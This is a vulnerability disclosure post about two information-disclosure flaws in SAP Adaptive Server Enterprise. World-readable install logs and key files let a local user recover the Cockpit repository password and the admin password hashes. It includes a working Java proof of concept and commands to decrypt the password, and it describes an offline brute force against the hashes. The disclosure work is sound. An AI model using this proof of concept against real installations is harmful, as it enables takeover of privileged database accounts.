Today I'd like to discuss two information disclosure vulnerabilities that occur in SAP Adaptive Server Enterprise installation process. These days it’s quite common to discover sensitive information in application log files given the amount of data being processed and complexity of today’s products. Adaptive Server Enterprise is a quite complex product having multiple subsystems and some of them are involved in the vulnerabilities discussed below.
Since SAP ASE is a complex product with many parts including but not limited to: the database server itself, backup server, XP server, Cockpit, client components, there several subsystems that write to the installation log file when DBA installs or upgrades an instance. The main installation file on Windows is %SYBASE%\log\ASE_Suite.log and is publicly readable as shown below:
C:\SAP>icacls C:\SAP\log\ASE_Suite.log
C:\SAP\log\ASE_Suite.log NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
This means any local user can read it. Moving on, if the Cockpit component is installed and configured, there will be a line like this in the log file:
DEBUG>>> 05-18-20 21:27:19 : ConfigCockpitLogins.writeRepositoryPassword(): write enRepoPwd=1-AAAAEgQQB+3Q7M42wx5KfB/vy2q4HfZhiEasqjA8vSjPIZbbLrqb9KZFqdpyTBHk7reqCIUzsXIlcMc/jaXtaW8eDvBIqQ==
enRepoPwd is encrypted Cockpit repository password. How can it be decrypted? I did some investigation and found out that there are two more files necessary to decrypt the password:
%SYBASE%\COCKPIT-4\conf\csibootstrap.properties
%SYBASE%\COCKPIT-4\conf\csikeystore.jceks
Surprisingly, both are readable by Everyone! csibootstrap.properties contains keystore password while the csikeystore.jceks is the actual keystore. A very useful script for the research is C:\SAP\COCKPIT-4\bin\passencrypt.bat.
Time for Java proof-of-concept!
public class demo
{
public static void main(String[] args) throws Exception
{
com.sybase.ua.security.crypto.CSIEncryption.bootstrapCSI();
String password = com.sybase.ua.security.crypto.CSIEncryption.getInstance().getEncryptionTools().decrypt("1
AAAAEgQQB+3Q7M42wx5KfB/vy2q4HfZhiEasqjA8vSjPIZbbLrqb9KZFqdpyTBHk7reqCIUzsXIlcMc/jaXtaW8eDvBIqQ==");
System.out.println(password);
}
}
To compile:
set COCKPIT_HOME=%SYBASE%\COCKPIT-4
set COCKPIT_STARTUP_CLASSPATH=%COCKPIT_HOME%\common\classes;%COCKPIT_HOME%\common\lib\commons-cli-1.1.jar;%COCKPIT_HOME%\server\lib\uaf-startup.jar
for %i in (%COCKPIT_HOME%\common\lib\*.jar) do @call set _clientCP=%_clientCP%;%i
set COCKPIT_CLIENT_CLASSPATH=%COCKPIT_STARTUP_CLASSPATH%;%_clientCP:/=\%
javac.exe -cp %COCKPIT_CLIENT_CLASSPATH%;. demo.java
To run:
"C:\SAP\Shared\SAPJRE-8_1_062_64BIT\bin\java.exe" -Dcom.sybase.ua.home=%SYBASE%\COCKPIT-4\ -cp %COCKPIT_CLIENT_CLASSPATH%;. demo
Once the password is decrypted, it can be used to view, modify and/or make any data associated with the Cockpit unavailable according to SAP note (https://launchpad.support.sap.com/#/notes/2941332).
The same log file might contain strings like below if the Cockpit component is installed:
...
DEBUG>>> 05-18-20 21:27:18 : ConfigCockpitLogins.setCSIUserAndPassword(): write userName=sccadmin
DEBUG>>> 05-18-20 21:27:18 : ConfigCockpitLogins.setCSIUserAndPassword(): write encryptPwd={SHA-256:+EFnOPCybn0=}R2hjILOGw+9HuezqaOETTLEp3aES8tvgllXb8IL9W6E=
DEBUG>>> 05-18-20 21:27:18 : ConfigCockpitLogins.setCSIUserAndPassword(): write userName=uafadmin
DEBUG>>> 05-18-20 21:27:18 : ConfigCockpitLogins.setCSIUserAndPassword(): write encryptPwd={SHA-256:63brIY/QONU=}zmVB11zcCmEvCw/DGoEY01O4y3E0VkFjQwIizR2h6j4=
...
Essentially, this makes it possible to conduct an offline brute force attack against the accounts mentioned. The first step is to decode the salt from its base64 value and then just loop over a dictionary.
In the end, exploiting the vulnerabilities discussed here will allow a malicious user to either guess privileged user passwords (CVE-2020-6317) or just decrypt it (CVE-2020-6295) and then use compromised accounts for subsequent attacks. Do not wait: apply the vendor-provided patches ASAP.